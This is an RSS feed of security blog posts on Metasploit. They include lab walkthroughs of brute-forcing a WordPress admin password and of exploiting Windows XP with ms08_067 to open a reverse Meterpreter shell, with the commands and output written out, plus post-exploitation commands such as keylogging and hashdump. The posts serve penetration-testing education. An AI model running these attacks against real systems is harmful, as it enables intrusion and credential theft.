
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Security Scanner &#187; metasploit</title>
	<atom:link href="http://hackertarget.com/tag/metasploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackertarget.com</link>
	<description>Vulnerability Testing and Assessments</description>
	<lastBuildDate>Tue, 15 May 2012 09:53:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Testing WordPress Password Security with Metasploit</title>
		<link>http://hackertarget.com/testing-wordpress-password-security-with-metasploit/</link>
		<comments>http://hackertarget.com/testing-wordpress-password-security-with-metasploit/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 05:32:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1065</guid>
		<description><![CDATA[How easy is it to hack wordpress admin accounts? Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords. Metasploit Framework is an open source penetration testing application that has modules for the explicit purpose [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/testing-wordpress-password-security-with-metasploit/' addthis:title='Testing WordPress Password Security with Metasploit' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>How easy is it to hack wordpress admin accounts?</p>
<p>Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords.</p>
<p><a href="http://www.metasploit.com">Metasploit Framework</a> is an open source penetration testing application that has modules for the explicit purpose of breaking into systems and applications. This is the software we will use to demonstrate poor WordPress security.</p>
<p>Did you know with the wordpress admin account you not only lose control of your blog but on many hosts the attacker can then run code on the server with the rights of the web hosting account or web server. With the ability to run commands locally, full server root compromise is the next step.</p>
<p class="note">I will be performing the password audit against a local VirtualBox running WordPress. This sort of activity is illegal in most places if used against systems that you do not have explicit permission to test.</P></p>
<p>First I will download and install the Metasploit Framework into my Ubuntu Linux 11.04 Desktop system. This will be a minimal install of Metasploit with the mini installer and minimal packages to get this module running.</p>
<blockquote><p>apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems</p>
<p>wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-x64-mini.run</p>
<p>wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt</p>
<p>chmod +x framework-3.7.1-linux-x64-mini.run</p>
<p>sudo ./framework-3.7.1-linux-x64-mini.run</p></blockquote>
<p>Since I am on my Ubuntu Desktop a pretty rapid7 installer pops up and it is a matter of clicking through the installer.</p>
<blockquote><p>./msfconsole</p>
<p>#    # ###### #####   ##    ####  #####  #       ####  # #####<br />
##  ## #        #    #  #  #      #    # #      #    # #   #<br />
# ## # #####    #   #    #  ####  #    # #      #    # #   #<br />
#    # #        #   ######      # #####  #      #    # #   #<br />
#    # #        #   #    # #    # #      #      #    # #   #<br />
#    # ######   #   #    #  ####  #      ######  ####  #   #</p>
<p>       =[ metasploit v3.7.1-release [core:3.7 api:1.0]<br />
+ &#8212; &#8211;=[ 687 exploits - 357 auxiliary - 39 post<br />
+ -- --=[ 217 payloads - 27 encoders - 8 nops</p>
<p>msf > show auxiliary</p>
<p>msf > use scanner/http/wordpress_login_enum</p>
<p>msf auxiliary(wordpress_login_enum) ></p>
<p>msf auxiliary(wordpress_login_enum) >  show options</p>
<p>Module options (auxiliary/scanner/http/wordpress_login_enum):</p>
<p>   Name              Current Setting  Required  Description<br />
   ----              ---------------  --------  -----------<br />
   BLANK_PASSWORDS   true             no        Try blank passwords for all users<br />
   BRUTEFORCE        true             yes       Perform brute force authentication<br />
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5<br />
   PASSWORD                           no        A specific password to authenticate with<br />
   PASS_FILE                          no        File containing passwords, one per line<br />
   Proxies                            no        Use a proxy chain<br />
   RHOSTS                             yes       The target address range or CIDR identifier<br />
   RPORT             80               yes       The target port<br />
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host<br />
   THREADS           1                yes       The number of concurrent threads<br />
   URI               /wp-login.php    no        Define the path to the wp-login.php file<br />
   USERNAME                           no        A specific username to authenticate as<br />
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line<br />
   USER_AS_PASS      true             no        Try the username as the password for all users<br />
   USER_FILE                          no        File containing usernames, one per line<br />
   VALIDATE_USERS    true             yes       Enumerate usernames<br />
   VERBOSE           true             yes       Whether to print output for all attempts<br />
   VHOST                              no        HTTP server virtual host</p>
<p>msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.56.101<br />
RHOSTS => 192.168.56.101<br />
msf auxiliary(wordpress_login_enum) > set USERNAME admin<br />
USERNAME => admin<br />
msf auxiliary(wordpress_login_enum) > set PASS_FILE /home/test/500-worst-passwords.txt<br />
PASS_FILE => /home/test/500-worst-passwords.txt<br />
msf auxiliary(wordpress_login_enum) > exploit</p>
<p>[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Running User Enumeration<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Checking Username:&#8217;admin&#8217;<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration- Username: &#8216;admin&#8217; &#8211; is VALID<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Found 1 valid user<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Running Bruteforce<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Skipping all but 1 valid user<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8221;<br />
[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;</p>
<p><-------------- SNIP --------------------></p>
<p>[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8217;albert&#8217;<br />
[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8217;toor&#8217;<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; SUCCESSFUL login for &#8216;admin&#8217; : &#8216;toor&#8217;<br />
[*] Scanned 1 of 1 hosts (100% complete)<br />
[*] Auxiliary module execution completed</p></blockquote>
<p>Password has been found! Testing these 500 passwords was fast. Obviously over the speed will depend on the network link and the server speed.</p>
<p>One of the things that makes breaking wordpress accounts easy is that the username can be enumerated from the admin login screen.<br />
<img src="http://hackertarget.com/wordpress-username-and-password-incorrect.png"></p>
<p>It is important to rename the admin account on installations of wordpress and to use a complicated password of adequate length. I have shown above how easy it is to guess hundreds of passwords very quickly.</p>
<p>More details on securing your system can be found at <a href="http://http://codex.wordpress.org/Hardening_WordPress">WordPress.org</a>, understanding what is running on your wordpress blog and other security risks is an important step in maintaining a secure system. <a href="http://hackertarget.com/wordpress-security-scan">HackerTarget.com has a free WordPress Security Scan</a> that can be used to check some of these issues.</p>
<p>Details on the Metasploit Module used for this testing can be <a href="http://www.metasploit.com/modules/auxiliary/scanner/http/wordpress_login_enum">found here</a></p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/testing-wordpress-password-security-with-metasploit/' addthis:title='Testing WordPress Password Security with Metasploit' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/testing-wordpress-password-security-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Armitage &#8211; Cyber Attack Management for Metasploit</title>
		<link>http://hackertarget.com/armitage-cyber-attack-management-for-metasploit/</link>
		<comments>http://hackertarget.com/armitage-cyber-attack-management-for-metasploit/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 02:14:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[rapid7]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=721</guid>
		<description><![CDATA[Metasploit development continues in leaps and bounds both from within Rapid7 and from the community. This is newly released tool puts the power of the Metasploit Framework into the hands of those who prefer point and clicky interfaces. Why does Armitage exist? I&#8217;ve met too many security professionals who don&#8217;t know how to use Metasploit. [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/armitage-cyber-attack-management-for-metasploit/' addthis:title='Armitage &#8211; Cyber Attack Management for Metasploit' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.metasploit.com" target="_blank">Metasploit</a> development continues in leaps and bounds both from within <a href="http://www.rapid7.com" target="_blank">Rapid7</a> and from the community. This is newly released tool puts the power of the Metasploit Framework into the hands of those who prefer point and clicky interfaces.</p>
<blockquote><p>Why does Armitage exist?</p>
<p>I&#8217;ve met too many security professionals who don&#8217;t know how to use Metasploit. Sadly, I was one of them. I&#8217;ve always felt Metasploit could use a non-commercial GUI organized around the hacking process. So, I made Armitage</p>
<p>Armitage exists to help security professionals better understand the hacking process and appreciate what&#8217;s possible with the powerful Metasploit framework. Security professionals who understand hacking will make better decisions to protect you and your information.</p></blockquote>
<p><a href="http://www.fastandeasyhacking.com/">Armitage &#8211; Cyber Attack Management for Metasploit</a>.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/armitage-cyber-attack-management-for-metasploit/' addthis:title='Armitage &#8211; Cyber Attack Management for Metasploit' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/armitage-cyber-attack-management-for-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit vs Snort as Snorby</title>
		<link>http://hackertarget.com/metasploit-vs-snort-as-snorby/</link>
		<comments>http://hackertarget.com/metasploit-vs-snort-as-snorby/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 06:47:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[snorby]]></category>
		<category><![CDATA[snort]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=574</guid>
		<description><![CDATA[Recently I stumbled acorss Snorby, an excellent easy to use implementation of Snort. It is a new web interface for Snort that is very pretty, but also simple. An excellent introduction to Intrusion Detection Systems, that is not going to scare anyone away. Now how to I get hold of this I hear you cry&#8230;. [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-vs-snort-as-snorby/' addthis:title='Metasploit vs Snort as Snorby' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Recently I stumbled acorss <a href="http://www.snorby.org/" target="_blank">Snorby</a>, an excellent easy to use implementation of <a href="http://www.snort.org/" target="_blank">Snort</a>.</p>
<p>It is a new web interface for Snort that is very pretty, but also simple. An excellent introduction to Intrusion Detection Systems, that is not going to scare anyone away.</p>
<p><img src="http://www.cryptolife.org/images/thumb/2/2a/Snorby2.png/242px-Snorby2.png" align="right">Now how to I get hold of this I hear you cry&#8230;. head over here <a href="http://www.cryptolife.org/index.php/Snorby" target="_blank">and grab the preconfigured security appliance</a>.</p>
<p>I downloaded the iso, fired up a virtualbox machine and away it went. Seriously a working Snort install in under 10mins. Nice!</p>
<p>Obviously you want to test your snort, so I fired off an nmap scan with the script option against my Windows XP SP2 test machine.</p>
<blockquote><p>
# nmap -sC 192.168.56.101</p>
<p>Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-02 10:19 EST<br />
Nmap scan report for 192.168.56.101<br />
Host is up (0.0032s latency).<br />
Not shown: 997 closed ports<br />
PORT    STATE SERVICE<br />
135/tcp open  msrpc<br />
139/tcp open  netbios-ssn<br />
445/tcp open  microsoft-ds<br />
MAC Address: 08:22:22:22:22:22 </p>
<p>Host script results:<br />
|_nbstat: NetBIOS name: ASDF, NetBIOS user: <unknown>, NetBIOS MAC: 22:22:22:22:22:22<br />
| smb-os-discovery:<br />
|   OS: Windows XP (Windows 2000 LAN Manager)<br />
|   Name: WORKGROUP\ASDF<br />
|_  System time: 2010-06-02 10:19:58 UTC-7<br />
|_smbv2-enabled: Server doesn&#8217;t support SMBv2 protocol</p>
<p>Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds
</p></blockquote>
<p><a href="http://hackertarget.com/wp-content/uploads/2010/06/nmap-snorby.jpg"><img src="http://hackertarget.com/wp-content/uploads/2010/06/nmap-snorby-300x146.jpg" alt="" title="nmap-snorby" width="300" height="146" class="alignright size-medium wp-image-576" /></a><br />
Snorby showed me some nice port scan alerts.</p>
<p>Now I was running through <a href="http://hackertarget.com/2010/06/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/">my guide to Metasploit 3.4.0</a> and figured I would see something in Snorby. As shown in the guide I successfully ran metasploit with ms08_067 exploit using a meterpreter payload and a vnc dll injection payload. Gaining full access to the Windows XP SP2 machine.</p>
<p>Snorby (and Snort) results show nothing. </p>
<p>Hmm, Snorby is running with up to date rules from emerging threats and snort. I was quite surprised and will be looking into the reasons for this in the near future. I would have thought I would have triggered something in the snort rules during this exploit.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-vs-snort-as-snorby/' addthis:title='Metasploit vs Snort as Snorby' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/metasploit-vs-snort-as-snorby/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction</title>
		<link>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/</link>
		<comments>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 05:56:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[rapid7]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=568</guid>
		<description><![CDATA[Perhaps you have heard of metasploit. It is a very powerful exploitation framework developed by HD Moore. Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and Canvas in the pen-testing community. The latest version [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/' addthis:title='Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Perhaps you have heard of <a href="http://www.metasploit.com">metasploit</a>. It is a very powerful exploitation framework developed by HD Moore.</p>
<p>Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with <a href="http://www.coresecurity.com/">Core Impact</a> and <a href="http://www.immunitysec.com/products-canvas.shtml">Canvas</a> in the pen-testing community.</p>
<p>The latest version has recently been released so I thought I would give you a quick and dirty introduction to running it on <a href="http://www.ubuntulinux.org">Ubuntu</a> Linux 10.04. Of course it will run just as easily on <a href="http://fedoraproject.org/">Fedora</a> Linux, Windows or whatever Operating System floats your boat.</p>
<p>Download the framework from <a href="http://www.metasploit.com/framework/download/">http://www.metasploit.com/framework/download/</a></p>
<p>I chose the binary version for 64 bit Linux.</p>
<p>Ruby is not installed by default in Ubuntu so start off with:</p>
<blockquote><p>
apt-get install ruby<br />
chmod +x framework-3.4.0-linux-x86_64.run<br />
 ./framework-3.4.0-linux-x86_64.run<br />
Verifying archive integrity&#8230; All good.<br />
Uncompressing Metasploit Framework v3.4.0-release Installer (64-bit)&#8230;&#8230;..</p>
<p>                     888                           888        d8b888<br />
                     888                           888        Y8P888<br />
                     888                           888           888<br />
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888<br />
888 &#8220;888 &#8220;88bd8P  Y8b888       &#8220;88b88K     888 &#8220;88b888d88&#8243;&#8221;88b888888<br />
888  888  88888888888888   .d888888&#8243;Y8888b.888  888888888  888888888<br />
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.<br />
888  888  888 &#8220;Y8888  &#8220;Y888&#8243;Y888888 88888P&#8217;88888P&#8221; 888 &#8220;Y88P&#8221; 888 &#8220;Y888<br />
                                           888<br />
                                           888<br />
                                           888</p>
<p>Metasploit Framework v3.4.0 Release<br />
    Report Bugs: msfdev@metasploit.com</p>
<p>Warning: A copy of Metasploit already exists at /opt/metasploit3<br />
         continuing this installation will DELETE the previous<br />
         install, including all user-modified files.</p>
<p>Please enter &#8216;yes&#8217; to continue or any other key to abort<br />
Continue (yes/no) > yes</p>
<p>This installer will place Metasploit into the /opt/metasploit3 directory.<br />
Continue (yes/no) > yes<br />
Removing files from the previous installation&#8230;</p>
<p>Extracting the Metasploit operating environment&#8230;</p>
<p>Extracting the Metasploit Framework&#8230;</p>
<p>Installing links into /usr/local/bin&#8230;</p>
<p>Installation complete.</p>
<p>Would you like to automatically update Metasploit?<br />
AutoUpdate? (yes/no) > yes</p>
<p>*** snip ***</p>
<p>Updated to revision 9390.</p>
<p>Launch the Metasploit console by running &#8216;msfconsole&#8217;</p>
<p>Exiting the installer&#8230;<br />
root@testbox:/home/testuser/Downloads# msfconsole</p>
<p>                                  _<br />
                                 | |      o<br />
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_<br />
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |<br />
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/<br />
                           /|<br />
                           \|</p>
<p>       =[ metasploit v3.4.1-dev [core:3.4 api:1.0]<br />
+ &#8212; &#8211;=[ 553 exploits - 264 auxiliary<br />
+ -- --=[ 208 payloads - 23 encoders - 8 nops<br />
       =[ svn r9390 updated today (2010.06.01)</p>
<p>msf > exit
</p></blockquote>
<p>Ok, we now have a working Metasploit, hoorah for us.</p>
<p>Now we want to do a quick exploit of a Windows XP SP2 test machine I have on my network. It is running in Sun Virtual box using Host Only Networking as we will see shortly.</p>
<p>I like to use the command line utility for msf (msfcli) as once you get used to the syntax it is easier and faster. However if you prefer go with the msfconsole.</p>
<p>Running "#msfcli" will list all exploits, payloads and other modules.</p>
<blockquote><p>
#msfcli | grep 08_067<br />
exploit/windows/smb/ms08_067_netapi</p>
<p>Lets hit my windows box with exploit/windows/smb/ms08_067_netapi it is stable and works very well.</p>
<p>#msfcli  exploit/windows/smb/ms08_067_netapi<br />
[*] Please wait while we load the module tree&#8230;<br />
Usage: /opt/metasploit3/msf3/msfcli <exploit_name><br />
<option=value> [mode]<br />
========================================================================</p>
<p>    Mode           Description<br />
    &#8212;-           &#8212;&#8212;&#8212;&#8211;<br />
    (H)elp         You&#8217;re looking at it baby!<br />
    (S)ummary      Show information about this module<br />
    (O)ptions      Show available options for this module<br />
    (A)dvanced     Show available advanced options for this module<br />
    (I)DS Evasion  Show available ids evasion options for this module<br />
    (P)ayloads     Show available payloads for this module<br />
    (T)argets      Show available targets for this exploit module<br />
    (AC)tions      Show available actions for this auxiliary module<br />
    (C)heck        Run the check routine of the selected module<br />
    (E)xecute      Execute the selected module</p>
<p>#msfcli  exploit/windows/smb/ms08_067_netapi O<br />
[*] Please wait while we load the module tree&#8230;</p>
<p>   Name     Current Setting  Required  Description<br />
   &#8212;-     &#8212;&#8212;&#8212;&#8212;&#8212;  &#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8211;<br />
   RHOST                     yes       The target address<br />
   RPORT    445              yes       Set the SMB service port<br />
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)</p>
</blockquote>
<p>Running the following will display all payloads that will work with ms08_067_netapi. I have selected two in the following examples. A reverse meterpreter and a vnc reverse dll injection.<br />
#msfcli exploit/windows/smb/ms08_067_netapi P</p>
<p>My windows box is 192.168.56.101 and my local Ubuntu system is 192.168.56.1.</p>
<blockquote><p>
# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E<br />
[*] Please wait while we load the module tree&#8230;<br />
[*] Started reverse handler on 192.168.56.1:4444<br />
[*] Automatically detecting the target&#8230;<br />
[*] Fingerprint: Windows XP Service Pack 2 &#8211; lang:English<br />
[*] Selected Target: Windows XP SP2 English (NX)<br />
[*] Attempting to trigger the vulnerability&#8230;<br />
[*] Sending stage (748032 bytes) to 192.168.56.101<br />
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1050)</p>
<p>meterpreter > run checkvm<br />
[*] Checking if target is a Virtual Machine &#8230;..<br />
[*] This is a Sun VirtualBox Virtual Machine<br />
meterpreter > run getcountermeasure<br />
[*] Running Getcountermeasure on the target&#8230;<br />
[*] Checking for contermeasures&#8230;<br />
[*] 	Possible countermeasure found avgemc.exe C:\Program Files\AVG\AVG9\avgemc.exe<br />
[*] Getting Windows Built in Firewall configuration&#8230;<br />
[*]<br />
[*] 	Domain profile configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*] 	Exception mode                    = Enable<br />
[*]<br />
[*] 	Standard profile configuration (current):<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Disable<br />
[*] 	Exception mode                    = Enable<br />
[*]<br />
[*] 	Local Area Connection firewall configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*]<br />
[*] 	Local Area Connection 2 firewall configuration:<br />
[*] 	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] 	Operational mode                  = Enable<br />
[*]<br />
[*] Checking DEP Support Policy&#8230;<br />
meterpreter > run get_local_subnets<br />
Local subnet: 10.0.2.0/255.255.255.0<br />
Local subnet: 192.168.56.0/255.255.255.0<br />
meterpreter > help</p>
<p>Core Commands<br />
=============</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    ?             Help menu<br />
    background    Backgrounds the current session<br />
    bgkill        Kills a background meterpreter script<br />
    bglist        Lists running background scripts<br />
    bgrun         Executes a meterpreter script as a background thread<br />
    channel       Displays information about active channels<br />
    close         Closes a channel<br />
    exit          Terminate the meterpreter session<br />
    help          Help menu<br />
    interact      Interacts with a channel<br />
    irb           Drop into irb scripting mode<br />
    migrate       Migrate the server to another process<br />
    quit          Terminate the meterpreter session<br />
    read          Reads data from a channel<br />
    run           Executes a meterpreter script<br />
    use           Load a one or more meterpreter extensions<br />
    write         Writes data to a channel</p>
<p>Stdapi: File system Commands<br />
============================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    cat           Read the contents of a file to the screen<br />
    cd            Change directory<br />
    del           Delete the specified file<br />
    download      Download a file or directory<br />
    edit          Edit a file<br />
    getlwd        Print local working directory<br />
    getwd         Print working directory<br />
    lcd           Change local working directory<br />
    lpwd          Print local working directory<br />
    ls            List files<br />
    mkdir         Make directory<br />
    pwd           Print working directory<br />
    rm            Delete the specified file<br />
    rmdir         Remove directory<br />
    upload        Upload a file or directory</p>
<p>Stdapi: Networking Commands<br />
===========================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    ipconfig      Display interfaces<br />
    portfwd       Forward a local port to a remote service<br />
    route         View and modify the routing table</p>
<p>Stdapi: System Commands<br />
=======================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    clearev       Clear the event log<br />
    drop_token    Relinquishes any active impersonation token.<br />
    execute       Execute a command<br />
    getpid        Get the current process identifier<br />
    getprivs      Get as many privileges as possible<br />
    getuid        Get the user that the server is running as<br />
    kill          Terminate a process<br />
    ps            List running processes<br />
    reboot        Reboots the remote computer<br />
    reg           Modify and interact with the remote registry<br />
    rev2self      Calls RevertToSelf() on the remote machine<br />
    shell         Drop into a system command shell<br />
    shutdown      Shuts down the remote computer<br />
    steal_token   Attempts to steal an impersonation token from the target process<br />
    sysinfo       Gets information about the remote system, such as OS</p>
<p>Stdapi: User interface Commands<br />
===============================</p>
<p>    Command        Description<br />
    &#8212;&#8212;-        &#8212;&#8212;&#8212;&#8211;<br />
    enumdesktops   List all accessible desktops and window stations<br />
    getdesktop     Get the current meterpreter desktop<br />
    idletime       Returns the number of seconds the remote user has been idle<br />
    keyscan_dump   Dump the keystroke buffer<br />
    keyscan_start  Start capturing keystrokes<br />
    keyscan_stop   Stop capturing keystrokes<br />
    screenshot     Grab a screenshot of the interactive desktop<br />
    setdesktop     Change the meterpreters current desktop<br />
    uictl          Control some of the user interface components</p>
<p>Priv: Elevate Commands<br />
======================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    getsystem     Attempt to elevate your privilege to that of local system.</p>
<p>Priv: Password database Commands<br />
================================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    hashdump      Dumps the contents of the SAM database</p>
<p>Priv: Timestomp Commands<br />
========================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    timestomp     Manipulate file MACE attributes</p>
<p>meterpreter >  pwd<br />
C:\WINDOWS\system32<br />
meterpreter > cd ..<br />
meterpreter > cd ..<br />
meterpreter > pwd<br />
C:\<br />
meterpreter >  ls</p>
<p>Listing: C:\<br />
============</p>
<p>Mode              Size       Type  Last modified              Name<br />
&#8212;-              &#8212;-       &#8212;-  &#8212;&#8212;&#8212;&#8212;-              &#8212;-<br />
40777/rwxrwxrwx   0          dir   2009-12-22 05:59:31 +1100  $AVG<br />
100777/rwxrwxrwx  0          fil   2009-12-22 05:39:51 +1100  AUTOEXEC.BAT<br />
100666/rw-rw-rw-  0          fil   2009-12-22 05:39:51 +1100  CONFIG.SYS<br />
40777/rwxrwxrwx   0          dir   2010-02-12 15:23:25 +1100  Documents and Settings<br />
100444/r&#8211;r&#8211;r&#8211;  0          fil   2009-12-22 05:39:51 +1100  IO.SYS<br />
40777/rwxrwxrwx   0          dir   2010-02-11 13:11:43 +1100  Inetpub<br />
100444/r&#8211;r&#8211;r&#8211;  0          fil   2009-12-22 05:39:51 +1100  MSDOS.SYS<br />
100555/r-xr-xr-x  47564      fil   2004-08-04 22:00:00 +1000  NTDETECT.COM<br />
40555/r-xr-xr-x   0          dir   2010-04-08 15:57:51 +1000  Program Files<br />
